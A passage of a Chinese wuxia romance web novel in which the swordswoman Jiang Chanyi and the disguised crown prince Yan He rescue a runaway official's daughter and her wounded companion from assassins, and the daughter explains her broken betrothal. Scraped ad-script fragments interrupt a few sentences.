闻达怕燕鹤劝不住,无声朝百姓抬了抬手。 闻达自上任后便一心扑在案子上,这些年破获了不少大案,在粟江声望极高,一来二去与百姓也有了默契。 得到他示意,原本就想上前送烧饼但碍于闻达在始终不敢动的摊贩一个箭步就冲向姜蝉衣:“女侠,这是我刚烤出来的肉饼,女侠尝尝。” “我也有我也有,这是我们家新种的红薯。” “这是鸡蛋。”“你们都让开,我拿只大公鸡。” “我有鸭。”“鱼鱼鱼还有鱼。” 刹那间,姜蝉衣和燕鹤就被百姓团团围住。 就算姜蝉衣能狠下心甩开‘明月’,也不可能突破百姓追上去补剑,再者,烧饼红薯鸡蛋被一股脑的塞到她怀里,她也不可能抽的开身。 姜蝉衣没有经历过这种场面,手足无措地抱着一堆东西不知如何应对,直到那只大公鸡穿越人群而来,见她怀里放不下,将大公鸡往燕鹤怀里塞。 那一瞬,姜蝉衣感觉身边人的身体都绷直了,她转头看去,就见燕鹤如临大敌般盯着那只扑腾的大公鸡。 姜蝉衣明白了。 这轮高悬的明月他怕大公鸡。 姜蝉衣一把逮住鸡翅膀,试图将东西还回去:“我不能收...” “能收的能收的,这些都不值钱,女侠抓住了采花贼,是我们的大恩人。” “对啊,女侠,您就收下吧。” 闻达抬眼见王桐一行人已经消失在街角,这才高呼道:“都散了散了,别吓着姑娘。” 在闻达的帮助下,姜蝉衣将东西一一退了回去,落霞峰门规,不可收平民百姓的东西。 而在街道的尽头,一个兵卫伸手朝采花贼脖颈探去:“头,没气了。” 王桐驻足回头,不远处人群攒动,已经看不见被围在中间的人了。 “他是怎么从屋顶掉下来的?”王桐收回视线,突然问。 兵卫:“...” 虽然他们没看清那位姑娘是怎么追上去的,但那一脚都看得清清楚楚,头更不可能没看见。 其中一个兵卫反应最快,摇头道:“不知道啊,我们赶到时他就已经在地上了,大概是失足落下来的吧。” 王桐:“哦,看来是报应。” “对,是报应。” _ 出了城门,身后的喧嚣渐渐远去。 姜蝉衣回头看了眼城门,眸中隐有几分懊悔。 早知道该先抹了他脖子。 燕鹤将她的神色收入眼底,几番欲言又止后,道:“他已经死了。” 姜蝉衣转头看向他:“嗯?” 他方才不还说有气息? 燕鹤却不再继续说了,岔开话题:“你方才问了他什么?” 姜蝉衣闻言从怀中取出一方帕子,道:“我见过姑娘闺房中的绣帕,与这方帕子一模一样,便问了他几句,他说是在粟江城外见过的姑娘,姑娘有一个同伴,武功很不错。” 闻达在,姜蝉衣隐去了姓氏,将采花贼口中的郎君换成了同伴。 她先前听徐青天说过,人世极其看重女子清誉,有许多女子因此断了生路,她怕这事传出去害了宣姑娘。 燕鹤温和地看了眼姜蝉衣。 方才的距离他能听见她和采花贼所有的对话。 他游学多年,见过的姑娘不少,江湖女侠,民间娘子,各有各的精彩和故事,但她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好像与他先前见过的所有人都不一样。 嫉恶如仇,杀伐果断,却也心细如发。 闻达这时道:“若他所说为真,那么那位姑娘此时便还没有进粟江城。” 这个消息无疑为他们缩短了很长的时间和距离,如今他们只需要寻找粟江腰峰处到粟江城外之间的地带。 燕鹤点头:“闻参军可熟悉这段路?” 闻达道:“城外方圆十里都还算熟悉。” 更远的就没怎么走过了。 除非案子需要,他很少出城。 “事不宜迟,出发吧。” 姜蝉衣说完便翻身上马,拉了拉缰绳:“驾!” 顷刻间便已出一射之地。 不知不觉地,她的重心已不在那十两金,如今她只希望宣姑娘能平安无虞。 希望她能好好活着。 燕鹤闻达紧随其后,三匹马先后疾驰,惊起一地落尘。 粟山腰峰到粟江城门岔路并不少,三人一路走走停停,期间又分开寻找过几次,却始终一无所获。 几个时辰眨眼便过,已近黄昏。 “我们得在天黑前出粟山,否则便要露宿山中。”几人再次会和,闻达沉声道:“粟山有不少没有人烟的野丛林,夜里会很危险。” 他倒不怕,但他们二人不能有半点差池,否则上头怪罪下来,没人担待得起。 姜蝉衣长在深山,自然知道闻达指的危险是什么,但她还不想放弃:“姑娘已经失踪一夜了,在外头越久越危险。” 燕鹤也道:“若姑娘在这山里,她的同伴又受了重伤,一旦遇上什么,后果不堪设想。” 闻达见他们二人意已决,便知相劝无用,他有在野外过夜的经验,只要不遇上成群的东西,应当无碍。 “如此……” “等等!” 姜蝉衣突然止步,打断闻达。 燕鹤面色也微微一变。 几息后,姜蝉衣一把抽出马背上的剑,在闻达还没有反应过来时,人已经凌空而起,几个眨眼便消失在眼前。 闻达一怔:“姜姑娘这是……” “驾!”燕鹤已翻身上马:“有打斗声。” 闻达一惊,忙牵上姜蝉衣的马,疾步追上去。 12.第 12 章 姜蝉衣的师父自称轻功天下第二,是不是真的姜蝉衣不知道,但她的轻功已青出于蓝。 跑赢了师父那天,她曾问过师父那第一是谁。她想去挑战挑战,看是否能争个第一回来。 江湖中人,哪个受得了天下第一的诱惑。 师父看出她的心思,一言难尽的长叹一声,让她歇了这个心思。 师父说,那个人是个疯子,当世武学一道上巅峰的疯。 揍起人来更疯。 姜蝉衣听了这话后很听劝的就放弃了。 她不想为了个虚名去挨打。 反正师父嘴里十句话只有半句是真的,这天下第二有多少水分也未可知。 但她此时尚还不知,‘轻功天下第二’恰就是那半句真的。 燕鹤快马加鞭赶到时,姜蝉衣已经在悬崖边与一群黑衣人缠斗,剑锋凌厉快如闪电,将最中间两个人护的密不透风。 他不由想到了玄烛叔叔,十几年前玄烛叔叔一剑荡平武林时,若遇见了姜姑娘,怕是会用尽一切手段将她收入门下。 燕鹤很快收回心思,看向中间被姜蝉衣护着的那二人。 郎君身受重伤持剑半跪在地,将姑娘护在身后,姑娘不知是紧张还是害怕,抓着他手臂上的袖子。 但又因男女有别,她只用指尖捏着。 燕鹤没见过他们,但,就在今日,他先后见过他们的画像。 还真是踏破铁鞋无觅处。 燕鹤瞥了眼场上的战斗,确认这些人不是落霞峰大师姐的对手,才慢条斯理的下马,缓步走去。 那群黑衣人眼尖的发现了他,见郎君面容白净,手无寸铁,端的是一副清风明月的姿态,便认定这个应该更好对付。 毕竟像大家世族的郎君,贵气得很,即便懂些防身的拳脚功夫,在他们这些人眼里,那也都是花拳绣腿。 拿捏这样的世家子弟,轻而易举。 其中两人在其他人的掩护下折身就朝燕鹤攻来,剑身在山间余晖下泛着冷光。 燕鹤面色不变,脚步未停。 好像没注意到危险将近,又好像并不将他们放在眼底。 这一幕却将刚刚赶到的闻达吓的面色大变:“公子小心!” 他送开缰绳拔出刀便冲了上去。 与那些黑衣人一样,他并不认为这位矜贵的郎君会多少功夫。 世家郎君的防身功夫,在这些亡命之徒眼里,是不够看的。 可他离燕鹤太远,又没有姜蝉衣那样卓绝的轻功,双脚跑出火花也只能心焦如焚的眼睁睁看着黑衣人手中的剑刺向燕鹤。 可他们不知道,燕鹤自八岁就随他的王叔谢蘅游学,谢蘅是明亲王府的金疙瘩,他到哪里身边都是高手随行。 所以,太子的武学师父除了太上皇和圣上身边的高手外,还有很多。 比如,太子的小婶婶柳襄,怀化大将军,曾上阵杀敌无数,立下赫赫战功,是数一数二的近战高手;明亲王府暗卫统领玄烛叔叔,侍卫统领重云叔叔,父皇派来保护小叔叔的暗卫统领乌焰叔叔,还有乔家小舅舅以及小舅舅身边的赤雨叔叔等等。 皇宫所有人舍不得谢蘅吃一点苦头,对太子却是恨不能让他把全天下的本事都学了。 初出江湖学武那会儿,小太子时常睡到半夜就可能被哪位师父捞起来,打一顿,太子一直觉得,他应该是历朝历代挨过最多打的太子。 所以,太子轻功确实不敌姜蝉衣,但论实战,要略胜一筹。 眼看剑尖将近面门,燕鹤面色依旧从容,只是他的手才刚刚抬起,面前的黑衣人却突然被定住般,再也无法往前一步。 两个黑衣人几乎同时口吐鲜血倒在跟前,一人背上插着一把剑,直穿胸口。 他们倒下后,燕鹤便看见了正看过来的姜蝉衣。 大师姐打架时眼神前所未有的冷,面容也绷的很紧,与平日的懵懂无害判若两人。 大师姐此时手上已空无一物。 显然,这两把剑有一把是她的,而另一把…… 燕鹤看了眼已经半倒在姑娘怀里的玄衣青年,而对方的视线落在他的腰间。 闻达这才奔至燕鹤跟前,看着已经倒在地上的黑衣人,沉默了片刻后,提刀加入了战斗。 他不是没见过江湖高手,但今日,又长见识了。 燕鹤在原地驻足。 他恍然明白,大师姐好像误会了什么。 他的内力是玄烛叔叔教的,若非绝顶高手,看不出他的深浅。 她大约也以为,他手无缚鸡之力。 沉默的间隙,姜蝉衣已经夺了黑衣人一把剑,大杀四方。 燕鹤沉默片刻后,确认这场战斗用不上他,便走到尸身旁,拔出那把属于大师姐的剑,掏出帕子认真的将剑上的血擦干净。 等擦完,那边的战斗也结束了。 燕鹤随手拔出另一把剑朝几人走过去。 姜蝉衣握着抢来的剑抵在仅剩的活口脖颈,问:“你们是谁?” 黑衣人咬牙不语。 玄衣青年开口道:“他们是黑酆门的杀手。” 姜蝉衣知道黑酆门。 这是一个杀手组织,专干杀人越货的勾当,绝不可能出卖雇主。 姜蝉衣剑刃一转,划破黑衣人肩上的衣裳,果真看到一个徽记。 黑色圈里开着红色彼岸花。 这是黑酆门的徽记,姜蝉衣并不陌生。 下一刻,姜蝉衣手中的剑就割破了黑衣人的脖颈,干脆利落。 闻达神色复杂动了动唇,又强行将视线偏移。 几滴血溅到了刚擦干净的剑身上,燕鹤低头瞥了眼,又无声地拿帕子擦干净,才递给姜蝉衣。 “黑酆门是江湖中一个杀手组织,拿钱办事,不近人情,不是你死就是我活。” 轻飘飘的一句解释,闻达却知道燕鹤是说给他听的。 闻达觉得自己好像踏入了什么不该踏进的领域。 这好像不是一个官差应该涉足的。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姜蝉衣接过剑,见剑身干干净净,不由抬眸看了眼燕鹤:“谢谢。” 燕鹤轻笑:“是我应该谢谢姜姑娘。” 说着,他将另一把剑递还给已被姑娘搀扶起来的玄衣青年。 闻达瞥了眼那剑上的血污,眉头微扬。 他收拾包袱时,大人派人来给了他一个任务,让他弄清楚这位郎君和这位姑娘是什么关系。 现下看来,关系匪浅。 不然同是救命的剑,为何还要区别对待。 “多谢。”玄衣青年接过剑,虽然极力控制,但手臂还是止不住的颤抖。 燕鹤:“你不该再动武。” 本就已是强弩之末,方才掷出的那一剑让他的伤势更重了。 玄衣青年又看了眼他腰间的玉佩,沉声道:“无妨。” 他们说话时,姜蝉衣默不作声地打量着玄衣青年身边的姑娘。 小娘子生的很俏丽,锦衣玉簪,气质如兰,最重要的是她那张脸与刘家给她的画像一模一样。 姜蝉衣瞥了眼小娘子抓住青年衣袖的手,似乎因他们的到来有些紧张无措,又许是被方才一幕吓到,悄悄将自己藏在青年身后。 姜蝉衣将剑缓缓入鞘。 看来所有人都误会了。 小娘子不是被人劫走的。 毕竟没有哪个人质会如此依赖绑匪。 姜蝉衣看出来的,燕鹤也看出来了。 闻达因为帮着找人见了小娘子的画像,此时也盯着青年打量。 三人一时间心思各异。 直到青年两眼一闭晕过去,才打破了这场有些诡异的场面。 在场两个姑娘,燕鹤又是玉京贵人,闻达自觉验伤这种事他来最合适,便上前道:“姑娘,我给他检查伤口。” 小娘子其实不敢轻信,可此时也没有别的法子了,更何况他们才救了他们,只能将青年交给他,起身背过身去。 闻达动作迅速的检查完青年的伤势,起身朝几人道:“他外伤很重,我带了伤药,但内伤有些重,我治不了。” “那怎么办。”小娘子担忧道。 闻达也没有办法。 他不是大夫,只会处理些外伤。 就在闻达去拿伤药时,姜蝉衣转身朝青年走去,小娘子见了她方才的杀伐果断,虽然害怕,但还是跟了过来。 姜蝉衣道:“我不会伤害他,我给他看看。” 小娘子眼睛一亮,小心翼翼道:“谢谢你。” 姜蝉衣:“不必谢。” “我医术不精,只会皮毛。” 小娘子自然而然的认为她是在谦虚,期待的守在一旁。 但她不知,姜蝉衣从来不谦虚。 会就是会,不会就是不会。 她的医术是真的只会皮毛。 师父的针灸术,只有师妹学会了,她和师弟每次看见针,就恨不得离十丈远。 她是被针扎怕了,师弟纯粹是见不得针,一见针就晕。 13.第 13 章 姜蝉衣的手指轻轻落在青年脉间,时而皱着眉,时而沉思。 小娘子一颗心跟着七上八下,一点声音也不敢发出来,生怕惊了女侠。 半晌后,姜蝉衣拧着眉收回手。 小娘子忙问:“姑娘,他怎么样了?” 姜蝉衣抿着唇轻轻摇头,小娘子面色一白,眼眶霎时就包满了泪。 “他的脉象太乱。”姜蝉衣:“我的医术浅薄,诊不出来。” 小娘子一愣,直愣愣盯着姜蝉衣。 虽然她不懂医,但若连脉象都摸不出来……几种复杂的情绪从心间闪过后,小娘子总算勉强信了姜蝉衣方才医术不精的话。 这时,在一旁看了良久的燕鹤犹豫开口:“我试试?” 小娘子眼底顿时又蓄起了希望,姜蝉衣也连忙让开位置。 在两位小娘子期待的眼神中,燕鹤道:“我只略懂皮毛。” 姜蝉衣和小娘子飞快点点头。 她们一致认为像燕鹤这样神仙般的郎君,这么说必定只是在谦虚。 然而燕鹤还真不是。 他很多东西一点就通,唯有在医术上翻来覆去点都点不通。 就像玄烛叔叔学画画一样,请再厉害的丹青师傅指教,也能将凤凰画成公鸡。 神医之徒沐笙姑姑,不止一次试图教会他医术,但都成效甚微,最后不得不放弃。 他至今能诊出的脉象屈指可数。 但太子面容沉静,让人看不出深浅,姜蝉衣和小娘子深觉他应是有把握。 然良久过去后,燕鹤慢慢地收回了手。 恰好闻达回来看见,讶异道:“公子会医术?” 燕鹤默了默,在几人期待的眼神中,道:“诊不出。” 又像中毒,又像风寒,直到把出滑脉,他便知道眼下情况超出他能诊出的脉象了。 姜蝉衣和小娘子眼神凝固。 片刻后,姜蝉衣:“一定是他伤的太重了。” 小娘子默了默,犹豫点头:“嗯。” 燕鹤知道小娘子是在替他找补,沉默片刻后,取出一个小药瓶,递给闻达:“此乃治疗内伤的良药,或许有用。” 这是沐笙姑姑研制出来的浴火丹,取自浴火重生之意。 沐笙姑姑说多重的内伤都能治。 若治不了,就准备后事。 闻达知道像这样身份贵重的郎君在外游历,身上肯定是有些灵丹妙药的,半点不怀疑的接过来就去给青年喂下了。 青年受的伤太重,光刀剑伤就有近十条,能撑到现在已经是奇迹了。 闻达将伤口处理完上好药天都已经黑了。 “现在下山城门已经关了。” 闻达道:“他不能在野外过夜,怕夜里会发烧。” 姜蝉衣想了想,道:“这里离那处黑店不远,去那里歇一晚。” 燕鹤也正是这个想法:“行。” 小娘子一听要住黑店,吓的脸色都变了,但她最终还是什么也没说,默默地跟上了。 这位女侠武功这样好,便是黑店,应也打不过她。 姜蝉衣看出小娘子的紧张,特意落后几步,温声安抚她:“黑店的人我已经送去衙门了,现在那里只是个空壳,你放心。” 小娘子悬着的心总算落下,看姜蝉衣的眼神充满了崇敬:“女侠真厉害。” 武功高强,侠骨柔肠,玉骨冰肌,这世上怎么会有卓绝非凡的姑娘。 令人羡慕而向往。 姜蝉衣看了眼背着青年走向马儿的闻达,脚步放缓,确认前头听不到她们的声音,她才低低唤了声:“宣姑娘。” 小娘子,也就是宣则灵心头一惊,错愕的看着姜蝉衣:“姑娘认识我?” 姜蝉衣如实道:“我见过你的画像,这次去粟江,就是找你的。” 宣则灵越听越讶异,但很快她就明白了过来,攥紧手指,小心翼翼问:“莫非,是我母亲托姑娘来寻我?” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >姜蝉衣没有见到宣夫人,她记得当时听刘家仆人喊了声,姑奶奶晕过去了。 “是刘家郎君,你的表哥,机缘巧合下,我接了这趟差事。” 顿了顿,又加了句:“他们都很担心你。” 宣则灵闻言面露愧疚之色。 她心虚的看了眼姜蝉衣,快速思衬着该如何解释,却见姜蝉衣根本没有要问她的意思。 她松了口气的同时,也慢慢地放松了下来,问:“我母亲还好吗?” 姜蝉衣:“我没见到。” 宣则灵眼底水雾弥漫,半晌后咬了咬唇,停下脚步:“姑娘要带我回去吗?” 姜蝉衣正在思索这个问题,一边她受了刘家的嘱托,另一边…… 很显然,宣则灵不是被人劫走,而是自愿跑出来的。 她不想回去。 一阵寒风过来,身边柔弱的小娘子打了个寒颤,姜蝉衣便理了理缰绳,朝宣则灵伸出手道:“先到落脚地再说。” 宣则灵愣了愣后,抬眸看了眼红棕色的马儿,抿着唇将手放到姜蝉衣手中。 等宣则灵坐好,姜蝉衣也翻身上马,将她护在身前。 低眸时,见小娘子正轻柔地摸着马背。 “坐稳了?” 宣则灵忙点头,双手抓住铁环。 从小娘子方才上马的姿势能看出她是会骑马的,姜蝉衣便没再多叮嘱,拉了拉缰绳:“驾!” 听得身后的动静,燕鹤回头,见马儿奔腾而来。 分明宣则灵坐在前头,可燕鹤一眼看见的却是她身后那张清凌凌的脸。 他收回视线拉着缰绳错开路,很快马蹄自身侧踏过。 “我们先去探路。” 青年伤势过重,不敢太颠簸,闻达护着他慢慢行驶着,闻言看向燕鹤道:“燕公子可与姜姑娘先行,我随后便来。” 燕鹤:“无妨。” 若此时黑酆门的人杀个回马枪,闻达护不住……千洲公子。 14.第 14 章 姜蝉衣带着宣则灵到了黑店,先四处查检了一遍,确认没有危险后,去抱了些柴架在院子里点燃。 火光照亮了简陋的竹屋,驱赶了夜里的寒凉和恐惧。 宣则灵坐在木墩上,时而看一眼姜蝉衣,欲言又止。 姜蝉衣没有注意到她忐忑。 她饿了。 今日还是午时与云广白和徐青天吃过饭,肚子早就空空如也。 “姑娘,你去哪里?” 见姜蝉衣突然站起来,宣则灵也忙起身,紧张道。 姜蝉衣走向灶房:“我去看看有没有吃的。” 宣则灵连忙跟上去。 虽然院子里在火光的照耀下很明亮,但毕竟是深山野外,她不敢一个人待着。 姜蝉衣记得灶房的位置,提着煤油灯查检了一番后,心中大定。 灶房里有菜有肉,足够他们今夜饱餐一顿! 不过,她不会做饭。 九岁前,她还没有灶台高,顶多帮师父洗洗菜,九岁后,师父捡回来一位十一岁的师弟,从此,师弟就成了灶房唯一的主人。 姜蝉衣一手拿着煤油灯,一手拿起锅盖,偏头看向恨不能贴在她身上的宣则灵。 通判家的小娘子娇俏雅致,一双手细白如玉,一看就不可能进过灶房。 但姜蝉衣还是抱着一丝希望问:“宣姑娘会做饭吗?” 果然,只见小娘子轻轻摇头:“不会。” 姜蝉衣沉默着立了一会儿,不死心的继续翻找,确认没有现成的吃食后,满心失落的回到了火堆旁。 她好想念师弟。 宣则灵见姜蝉衣脸色冷凝的盯着火堆,也就不敢吭声。 直到外头传来动静。 姜蝉衣几乎是窜出去的。 闻达刚从马背上将青年抱下来,就觉一阵冷风拂面,眼前多了一道倩影。 大师姐提着煤油灯,眼睛亮晶晶的看着他:“闻参军,你会做饭吗?” 闻达恍惚了一瞬,勉强找回自己的声音:“会。” 大师姐肉眼可见的欢喜了起来,伸出手:“我去安置他。” 好像饿得片刻都等不得。 闻达还未来得及作何反应,青年就被另一双手接走:“给我吧。” 闻达看了眼燕鹤,送了手。 姜蝉衣将煤油灯往他跟前一递:“闻参军,我们去灶房。” 闻达动了动唇,点头:“好。” 几人踏进竹门,宣则灵才跑到门口,惊惧未定。 方才她只觉得有人影闪过,再定睛时火堆旁已经没了姜蝉衣的身影,吓得她赶紧追了出来,看见几人回来心才算定了下来。 姜蝉衣看出她的惊惧,顺手拉上她:“你若是害怕,就跟着我吧。” 宣则灵忙不迭点头。 荒郊野外的,这里除了她只有姜蝉衣一位女子,且身手不凡,她自是恨不能时时刻刻跟在她身边。 几人一进灶房就分工明确。 姜蝉衣择菜,闻达动作熟练的烧火洗锅切菜,宣则灵负责提煤油灯。 只有一个煤油灯,小娘子一会儿递到姜蝉衣跟前,一会儿去给闻达照亮。 也算是没闲着。 燕鹤安置好青年从屋里出来,在门口站了一会儿走了过来:“我能做什么?” 三人几乎同时抬头看向他。 郎君立在灶房门口,身姿如玉,与这简陋的小院格格不入。 脏乱的灶房好像不是他该涉足之地。 “不用!” 姜蝉衣闻达同时开口。 燕鹤也没坚持。 因为他确实也不会。 但他并没有离开,而是站在灶房外默默地陪着,惹得姜蝉衣时不时抬头他望一眼,当然,手上的动作一点也不慢。 看美人和择菜两不误。 闻达父亲早逝,是由母亲一手带大,自小就跟着母亲做饭洗衣砍柴,虽如今做了参军,不必再亲自动手做这些,但本事都没忘。 灶房很快就飘出了香味。 姜蝉衣简单收拾了张桌子出来,摆好碗筷,又麻利的端菜上桌。 闻达在姜蝉衣的再三嘱托下,将灶房的食材全部用尽,一共做了八菜一汤,荤素都有,色香味俱全。 “闻参军好厉害。” 饭桌上,姜蝉衣笑弯了双眼,不吝夸赞。 夜色中,青年参军看似沉稳,耳尖却不知不觉泛了红。 “手艺不精,几位将近。” 白日,这话姜蝉衣燕鹤都说过,只有闻达是真的谦虚。 满满一桌子菜被扫荡一空,就是最好的证明。 其实,燕鹤三人放碗筷时,桌子上还剩了小半的菜。 姜蝉衣一一确认他们当真吃饱了后,才将最后剩的菜都赶到了碗里。 燕鹤见识过大师姐在这方面的‘战斗能力’,并不觉得意外,但闻达和宣则灵却是分外震撼。 他们实在没想到,如此纤瘦的小娘子这样能吃。 喂饱了肚子,姜蝉衣的精神肉眼可见的好了起来,连步伐都变得轻盈了许多。 看闻达的眼神也更温柔了。 录事参军常年忙于公务,身边从未有过姑娘,哪里受得住大师姐的温声细语,红着耳朵将要帮忙洗碗的大师姐赶出了厨房。 “灶房太小了,我来就可以。” 姜蝉衣见他态度坚决,诚恳的道了后谢离开了灶房。 燕鹤将一切尽收眼底,唇角微微扬起。 澄澈豁达的姑娘,到哪里都惹人喜爱。 宣则灵看看灶房,又看看燕鹤,一时也分不清他们到底是什么关系。 但她不是话多之人,自不会去问。 “今日多谢燕公子。” 宣则灵真诚的朝燕鹤道谢。 燕鹤收回视线,眼神微闪。 他醒了。 “举手之劳,不必放在心上。”燕鹤温淡道:“我去看看公子。” 宣则灵正想要一道进去,便见姜蝉衣朝她走来:“宣姑娘。” 视线相对,宣则灵便知姜蝉衣是有话要与她说,遂止步迎上去:“姜姑娘。” 姜蝉衣拉着她坐在了火堆旁,往里头加了两个柴,待火焰升高,她才看向有些忐忑的宣则灵,道:“宣姑娘不必担心,若宣姑娘不愿意,我也不能强行带你回去。” 这是回答了宣则灵白日的问题。 宣则灵闻言,果真放松了下来,轻声道:“谢谢。” 姜蝉衣回以一笑,又道:“可我既接了差事,总得对雇主有个交代。” 宣则灵忙点头:“我明白。” 默了默,她低声道:“我会回去的,只是现在还不是时候。” “何时才是时候?” 姜蝉衣问。 宣则灵神色闪烁,欲言又止:“我……” 姜蝉衣看她片刻,道:“你若不愿意说,便当我没问。” 宣则灵似乎是怕她生气,紧张的咬了咬唇,身体无意识靠近姜蝉衣,手揪住膝上的裙子,轻声道:“我不是不愿意回去,只是我……” 姜蝉衣听出小娘子语气里的哽咽,眼神柔和的看着她,像是无声的安抚。 这一刻,大师姐身上强大而柔和的气息,让宣则灵无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 比的安心和信任。 宣则灵渐渐的平复了下来,衣裳的手指也松了一些。 “姜姑娘既然知道我的身份,不知可否知晓我有婚约?” 姜蝉衣点头:“知道。” 她听徐青天说过,她有婚约在身,未婚夫是夙安府的公子。 火光映在小娘子脸上,隐约能瞧出几分悲凉,姜蝉衣忍不住猜测,莫非她是因为不满意这桩婚事,才离家出走? “其实,这桩婚约是很早就定下来的。”宣则灵微微低着头,徐徐道:“祖母与夙安府的老夫人曾是手帕交,早有联姻之意,可母亲和解夫人先后诞下的都是公子,直到母亲有了我,祖母和解老夫人便定了这门婚事,两家交换了信物。” 姜蝉衣安静地听着。 宣则灵顿了顿,继续道:“时隔多年,祖母与老夫人先后离世,解家也出了些变故,原以为这桩婚事要作废,可谁曾想去岁解家来了人,竟是要履行婚约。” 姜蝉衣便问:“我听说宣大人很爱护宣姑娘,若宣姑娘不愿意,何不退婚?” 却听宣则灵道:“父亲试着去退过婚的,可无用。” “为何?” 姜蝉衣不解道。 宣则灵犹豫片刻,才继续道:“几年前,解家大房升任去了玉京城,那年恰好解大公子随老夫人去玉京城,被云国公府看中,欲结两姓之好,老夫人重情义,不愿因此悔了与宣家的婚,便如实说了。” “具体情形我不得而知,总之,解家家主称解家和宣家的婚约是过了贵人耳的,当年本就因此得罪了贵人,若而今再退婚,难免叫贵人以为当年是解家搪塞,是以解家大房那边下了死令,解家和宣家的婚事无论如何都不能退。” 姜蝉衣确实没想到背后还有这样的隐情,不由轻轻皱起眉头。 师父教学那些年就同她说过,京城势力盘根错节,世家子弟享受了家族带来的荣光和优待,就得担负起家族的责任。 婚事更是身不由己。 以前她听着并不觉得有什么,如今亲眼所见,才觉是多么无奈。 “这门婚事原本我也是同意的。”宣则灵突然道。 姜蝉衣一愣:“那如今为何又不愿?” 只见小娘子手指又攥紧,眼底隐隐有泪光闪过:“因为解家换了人。” 姜蝉衣好一会儿才反应过来这换了人是何意,面露错愕:“这婚约不是当年就定了的么,怎还能换人?” 每每想起这事,宣则灵心中都万分难过,她缓了口气,才缓缓将陈年旧事简短道来。 “祖母在时常与夙安府走动,我与解大公子也时常相见,我很早就知道我们有婚约,将来他会是我的夫君,我对此并不排斥,反而很期待。” “可谁曾想,他十一岁那年变故突生,那年,解夫人病逝,解大公子意图在灵堂上弑父,被赶出了解家,解老夫人因此心怀郁结,次月离世。” 宣则灵说到这里,抬手抹了抹泪,道:“出事后我便求母亲去寻他,我不信他会当众弑父,可从那以后他就失去了踪迹,怎么也寻不到。” 姜蝉衣眉头紧皱。 先不说弑父一事是否为真,既然人已经被赶出解家,退婚又有何不可? 似乎是猜到姜蝉衣心中所想,宣则灵道:“当年,解老夫人是以与祖母的情谊定下的两家婚事,国公府感念祖母看重旧情没有发难,当年解家二房只有一位公子,可而今却早已不止,所以,解家认为为全老夫人与祖母的情谊,也为解家颜面,为不得罪国公府,只要是解家的公子,并不在乎是哪一个。” 姜蝉衣便问:“如今与你定下婚约的是谁?” 15.第 15 章 宣则灵声音闷闷的:“解家大公子。” 不等姜蝉衣疑惑询问,宣则灵便看向她道:“不论是意图弑父,还是逼死祖母都是大逆不道的,解家二爷执意将解大公子划出族谱,并将侧室扶正,继室膝下的二公子便成了如今的解家大公子。” 原来如此。 竟连族谱都被除了名。 “可我不认。” 姜蝉衣抬眸看向宣则灵,却见柔弱的小娘子眼底带着某种坚韧。 “与我有婚约的是他,其他人,我都不认。” 姜蝉衣定定的看了她几息后,道:“可你离家出走,并不能解决问题。” 却听宣则灵道:“我不是离家出走,我是被人劫走的。” 姜蝉衣微微一愣。 “我被人劫走,非宣家所愿,无论如何解家也怪不到宣家头上,而女子失踪一夜便是名节不保,一旦这事传出去,解家必定坐不住。” 宣则灵轻笑了笑,似讥讽,似无奈:“像解家这样有头有脸的人户,怎么可能愿意娶一个失了清誉的娘子,且我知道解二爷本来就不喜欢这桩婚事,如今因我失踪退婚,解家对国公府那边也有了交代。” “如此,皆大欢喜。” 姜蝉衣眼神复杂的看着宣则灵。 当真是皆大欢喜么,解家或许欢喜,可她呢,她以后该要怎么办。 当今世道,失去了清誉的娘子,以后该如何活。 大抵是看出姜蝉衣的担忧,宣则灵扯出一抹笑,道:“姜姑娘不必为我忧心,其实就算我嫁过去也不见得好。” “我偷偷的让人查过如今这位解大公子,他身边有一个自小相伴长大的通房丫鬟,还常出入烟花柳巷,前些日才给一位花魁娘子赎了身,养在外头。” “我父亲母亲一生一世一双人,我是决计忍不了这些的,与其嫁过去毁了一生,还不如伴青灯古佛。” 姜蝉衣又是一怔。 原来她早已给自己安排好了余生。 可这样如花似玉的小娘子难道真要常伴青灯古佛,了此一生么。 “你想要找他吗?” 宣则灵自然知道姜蝉衣说的是谁,她身形微微颤了颤,但很快又平静下来,苦笑道:“想啊,可找不到。” “且就算找到了,又能如何,说不定他早娶妻生子,又或许……” 已经不在人世了。 姜蝉衣听懂了宣则灵的未尽之言,也听到了她语气中的哽咽。 她一时也不知该说什么安慰她,只轻轻握住她的手,无声安抚。 小娘子心头太苦,姜蝉衣的安抚让她心头悲悸涌出,伏在姜蝉衣腿上无声哭泣着。 姜蝉衣看着小娘子耸动的肩膀,心头也很难过,温柔地抚着她的背。 哭出来也好,一直憋着会把人憋坏的。 闻达收拾完灶房远远看见这一幕,沉默片刻后折身避开。 与此同时,屋内。 青年醒来刚坐起身,便见有人进屋。 门外有火光,加上对方卓越的气场身姿,他很快就能辨认出来人是谁。 他掀开被子欲起身,却听那人温声道:“勿动。” “你伤的很重。” 青年见他已靠近,便只拱手行了个礼:“今日多谢公子相救。” 燕鹤徐徐坐在窗边矮凳上,道:“你也救了我,我们扯平。” 青年轻轻颔首,目光落在燕鹤腰上。 更准确的说,是落在燕鹤腰上那块黄玉‘金’鱼金穗玉佩上。 他很清楚,这块玉佩代表着什么。 眼前的人贵不可言。 “你便是平江城玉家商行的二当家,千洲公子。” 青年一怔,抬起头:“公子认得在下?” “见过你的画像。” 燕鹤道:“玉家家主不在平江城,平江城只有位老管家,无人主事,恰昨夜我行至平江,去了玉家,得知此事后,便由我来寻你。” 青年瞬时神色大变:“您……您是……” 能拥有玉家的黄玉‘金’鱼金穗玉佩的人都是京中贵人,而能替玉家主事,这样年纪的,只有一位。 东宫太子殿下。 燕鹤按下他要起身行礼的动作,声音温和:“你身负重伤,不宜动作。” “你既然能猜到我的身份,便应也知晓我乃微服出行。” 青年看了眼门外后,恭敬颔首:“是,草民明白。” 随后,他想起什么,忙跪在床上请罪道:“丢失贡品,是草民之过,请殿下降罪。” 燕鹤闻到血腥味传来,几不可见的皱了皱眉头,温声道:“玉家更担心你的安危。” 青年一震,抬眸看向燕鹤。 